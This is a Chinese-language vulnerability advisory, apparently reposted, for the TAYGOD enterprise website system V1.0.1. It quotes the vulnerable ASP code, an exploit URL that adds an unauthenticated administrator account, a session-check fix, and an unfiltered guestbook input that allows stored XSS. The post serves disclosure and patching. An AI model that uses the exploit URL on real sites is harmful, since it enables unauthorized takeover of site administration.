来源:自学PHP网 时间:2015-04-17 14:11 作者: 阅读:次
[导读] 影响版本:TAYGOD免费企业建站系统V1.0.1源码下载地址:http://www.mycodes.net/25/5242.htm①无验证添加管理员漏洞文件:Admin_Add.asp漏洞代码:!--#include file=../../config/conn.asp--!--#include ......
影响版本:TAYGOD免费企业建站系统V1.0.1
源码下载地址:http://www.mycodes.net/25/5242.htm ①无验证添加管理员 漏洞文件:Admin_Add.asp 漏洞代码: <!--#include file="../../config/conn.asp"--> <!--#include file="md5.asp"--> <% if request.QueryString("action")="save" then uid=replace(trim(Request("uid")),"'","") realname=replace(trim(Request("realname")),"'","") pwd1=replace(trim(Request("pwd1")),"'","") pwd2=replace(trim(Request("pwd2")),"'","") password=md5(pwd1)原因:未进行验证直接写入数据 利用方案:构造URL http://www.2cto.com /source/admin/Admin_Add.asp?action=save&uid=test&realname=test&pwd1=123456&pwd2=123456 这样就能添加进去一个帐号为test,密码为123456的管理员用户 修补方案:加入判断代码 if session("admin")="" then response.Write "<script language='javascript'>alert('网络超时或您还没有登陆!');window.location.href='login.asp';</script>" response.End end if②留言本XSS漏洞 漏洞文件:Message.asp 漏洞代码: if request.QueryString("action")="save" then username=trim(request("username")) email=trim(request("email")) tel=trim(request("tel")) zhiwu=trim(request("zhiwu")) city=trim(request("city")) qq=trim(request("qq")) add=trim(request("add")) title=trim(request("title")) content=trim(request("content")) messageip=Request.ServerVariables("REMOTE_ADDR") set rs=server.CreateObject("adodb.recordset") rs.open "select * from TAY_message",conn,1,3原因:未过滤,后台照样能够执行 转自:90sec.org |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com